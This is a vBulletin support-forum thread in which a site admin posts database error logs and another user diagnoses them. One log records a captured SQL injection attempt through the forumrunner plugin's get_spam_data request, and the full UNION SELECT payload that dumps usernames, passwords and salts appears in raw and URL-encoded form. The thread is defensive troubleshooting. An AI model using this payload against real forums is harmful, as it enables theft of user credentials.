Go Back   vb.org Archive > vBulletin 4 Discussion > vB4 Programming Discussions
  #1  
Old 10-13-2017, 02:47 PM
tanzeelniazi tanzeelniazi is offline
 
Join Date: Apr 2012
Posts: 375
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default Databse Error receive daily

Hi all again here
some time i found these data base errors, i think some one trying to hack ?? m right ?
Code:
Database error in vBulletin 4.2.0:

Invalid SQL:

                SELECT post.postid, post.threadid, post.visible, post.title, post.userid,
                        thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid
                FROM post AS post
                LEFT JOIN thread AS thread USING (threadid)
                WHERE postid IN (-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (user)where (userid > 10000 and userid < 12000) and(0x00) in (@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3a,salt))))x),5,6,7,8,9,10--);

MySQL Error   : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 5
Error Number  : 1064
Request Date  : Friday, October 13th 2017 @ 09:23:43 AM
Error Date    : Friday, October 13th 2017 @ 09:23:43 AM
Script        : http://www.xxxxxxxxx.com/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union%20select%201,2,3,(select%20(@x)%20from%20(select%20(@x:=0x00),(select%20(0)%20from%20(user)where%20(userid%20%3E%2010000%20and%20userid%20%3C%2012000)%20and(0x00)%20in%20(@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3a,salt))))x),5,6,7,8,9,10--
Referrer      :
IP Address    : 1**.1**.2**.**
Username      : Unregistered
Classname     : vB_Database_MySQLi
MySQL Version :
Mostly i receive daily these types of error

Code:
Database error in vBulletin 4.2.0:

Invalid SQL:

                 SELECT
                         count(*) as maxre
                 FROM tagthread
                 GROUP BY tagid
                 ORDER BY maxre DESC
                 LIMIT 0,1;

MySQL Error   : Table 'Mysite_VB.tagthread' doesn't exist
Error Number  : 1146
Request Date  : Friday, October 13th 2017 @ 02:07:45 AM
Error Date    : Friday, October 13th 2017 @ 02:07:46 AM
Script        : http://www.xxxxxxxxxxxxxx.com/cron.php?rand=1507860459
Referrer      : https://www.xxxxxxxxxxxxxx.com/forum.php
IP Address    : 1**.1**.*9.1**
Username      : Unregistered
Classname     : vB_Database_MySQLi
MySQL Version :
--------------- Added [DATE]1507913371[/DATE] at [TIME]1507913371[/TIME] ---------------

Some time these daily receive with new thread id

Code:
Database error in vBulletin 4.2.0:

Invalid SQL:

                 SELECT
                         count(*) as maxre
                 FROM tagthread
                 GROUP BY tagid
                 ORDER BY maxre DESC
                 LIMIT 0,1;

MySQL Error   : Table 'Mysite_VB.tagthread' doesn't exist
Error Number  : 1146
Request Date  : Thursday, October 12th 2017 @ 02:06:31 AM
Error Date    : Thursday, October 12th 2017 @ 02:06:31 AM
Script        : http://www.xxxxxxxxxxx.com/cron.php?rand=1507773989
Referrer      : https://www.xxxxxxxxxxxx.com/showthread.php?64592-*****-x3&p=915921&posted=1
IP Address    : 1**.**8.**.*7
Username      : Unregistered
Classname     : vB_Database_MySQLi
MySQL Version :
Reply With Quote
  #2  
Old 10-13-2017, 03:38 PM
Dave Dave is offline
 
Join Date: May 2010
Posts: 2,583
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

First one is SQL injection, delete your forumrunner folder as soon as possible or update it right away to the latest version or your whole server can get compromised (if not already).

As for the tagthread table, I don't think this comes with the vBulletin installation by default so it's probably one of your plugins that's broken.
Reply With Quote
  #3  
Old 10-13-2017, 04:58 PM
tanzeelniazi tanzeelniazi is offline
 
Join Date: Apr 2012
Posts: 375
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

I remove forumrunner folder thanks bro also can you tell me which plugin is broken ?
Reply With Quote
  #4  
Old 10-13-2017, 06:34 PM
Dave Dave is offline
 
Join Date: May 2010
Posts: 2,583
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Hard to tell, go through your plugins that are related to thread tags and disable it.
Alternatively you can go to the scheduled tasks/cronjob page in the AdminCP and disable it.
Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT. The time now is 12:06 AM.


Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2024, vBulletin Solutions Inc.
X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.05096 seconds
  • Memory Usage 2,180KB
  • Queries Executed 11 (?)
More Information
Template Usage:
  • (1)SHOWTHREAD
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)ad_showthread_beforeqr
  • (1)ad_showthread_firstpost
  • (1)ad_showthread_firstpost_sig
  • (1)ad_showthread_firstpost_start
  • (3)bbcode_code
  • (1)footer
  • (1)forumjump
  • (1)forumrules
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (1)navbar
  • (3)navbar_link
  • (120)option
  • (4)post_thanks_box
  • (4)post_thanks_button
  • (1)post_thanks_javascript
  • (1)post_thanks_navbar_search
  • (4)post_thanks_postbit_info
  • (4)postbit
  • (4)postbit_onlinestatus
  • (4)postbit_wrapper
  • (1)spacer_close
  • (1)spacer_open
  • (1)tagbit_wrapper 

Phrase Groups Available:
  • global
  • inlinemod
  • postbit
  • posting
  • reputationlevel
  • showthread
Included Files:
  • ./showthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/functions_bigthree.php
  • ./includes/class_postbit.php
  • ./includes/class_bbcode.php
  • ./includes/functions_reputation.php
  • ./includes/functions_post_thanks.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • showthread_start
  • showthread_getinfo
  • forumjump
  • showthread_post_start
  • showthread_query_postids
  • showthread_query
  • bbcode_fetch_tags
  • bbcode_create
  • showthread_postbit_create
  • postbit_factory
  • postbit_display_start
  • post_thanks_function_post_thanks_off_start
  • post_thanks_function_post_thanks_off_end
  • post_thanks_function_fetch_thanks_start
  • post_thanks_function_fetch_thanks_end
  • post_thanks_function_thanked_already_start
  • post_thanks_function_thanked_already_end
  • fetch_musername
  • postbit_imicons
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • postbit_display_complete
  • post_thanks_function_can_thank_this_post_start
  • tag_fetchbit_complete
  • forumrules
  • navbits
  • navbits_complete
  • showthread_complete